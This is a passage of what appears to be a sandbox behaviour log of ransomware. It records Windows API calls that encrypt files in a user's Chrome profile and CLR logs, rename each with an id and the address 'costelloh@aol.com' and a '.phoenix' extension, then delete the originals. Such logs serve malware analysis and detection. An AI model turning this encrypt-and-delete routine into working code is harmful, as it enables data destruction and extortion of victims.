	[0265.677] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.677] CryptDestroyKey (hKey=0x151340) returned 1
	[0265.677] CloseHandle (hObject=0x2b0) returned 1
	[0265.677] CloseHandle (hObject=0x254) returned 1
	[0265.677] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json")) returned 1
	[0265.678] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.679] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15730) returned 1
	[0265.679] CloseHandle (hObject=0x254) returned 1
	[0265.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0265.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.679] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.679] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.680] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.680] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0265.680] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.680] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3d72, lpOverlapped=0x0) returned 1
	[0265.696] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3d80) returned 1
	[0265.696] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3d80, lpOverlapped=0x0) returned 1
	[0265.697] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0265.697] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.697] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.697] CryptDestroyKey (hKey=0x151400) returned 1
	[0265.697] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.697] CryptDestroyKey (hKey=0x151600) returned 1
	[0265.697] CloseHandle (hObject=0x254) returned 1
	[0265.697] CloseHandle (hObject=0x2b0) returned 1
	[0265.697] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0265.698] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.698] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.730] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=30375) returned 1
	[0265.730] CloseHandle (hObject=0x2b0) returned 1
	[0265.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json")) returned 0x20
	[0265.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.731] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.731] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.731] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.731] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.736] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0265.736] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.736] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x76a7, lpOverlapped=0x0) returned 1
	[0265.803] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x76b0, dwBufLen=0x76b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x76b0) returned 1
	[0265.804] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x76b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x76b0, lpOverlapped=0x0) returned 1
	[0265.805] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0265.805] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.805] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0265.805] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0265.805] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0265.805] CryptDestroyKey (hKey=0x151400) returned 1
	[0265.805] CloseHandle (hObject=0x2b0) returned 1
	[0265.805] CloseHandle (hObject=0x304) returned 1
	[0265.805] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\computed_hashes.json")) returned 1
	[0265.806] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.806] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.807] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0265.807] CloseHandle (hObject=0x304) returned 1
	[0265.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db")) returned 0x20
	[0265.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.807] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.807] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.808] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0265.808] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.808] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4000, lpOverlapped=0x0) returned 1
	[0265.822] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4010, dwBufLen=0x4010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4010) returned 1
	[0265.822] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4010, lpOverlapped=0x0) returned 1
	[0265.823] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0265.823] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.823] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0265.823] CryptDestroyKey (hKey=0x151780) returned 1
	[0265.823] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0265.823] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.823] CloseHandle (hObject=0x304) returned 1
	[0265.823] CloseHandle (hObject=0x2b0) returned 1
	[0265.823] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db")) returned 1
	[0265.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.836] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=0) returned 1
	[0265.837] CloseHandle (hObject=0x2b0) returned 1
	[0265.837] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.837] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.937] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=42) returned 1
	[0265.937] CloseHandle (hObject=0x2d4) returned 1
	[0265.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log")) returned 0x20
	[0265.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.937] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.937] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0265.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0265.938] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.938] ReadFile (in: hFile=0x2d4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2a, lpOverlapped=0x0) returned 1
	[0265.939] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
	[0265.939] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x30, lpOverlapped=0x0) returned 1
	[0265.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0265.940] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.940] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.940] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.940] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.940] CryptDestroyKey (hKey=0x151340) returned 1
	[0265.940] CloseHandle (hObject=0x2d4) returned 1
	[0265.940] CloseHandle (hObject=0x2c0) returned 1
	[0265.942] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log")) returned 1
	[0265.943] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.943] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0265.946] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=642) returned 1
	[0265.946] CloseHandle (hObject=0x2c0) returned 1
	[0265.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log")) returned 0x20
	[0265.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0265.946] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.947] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.950] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0265.950] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
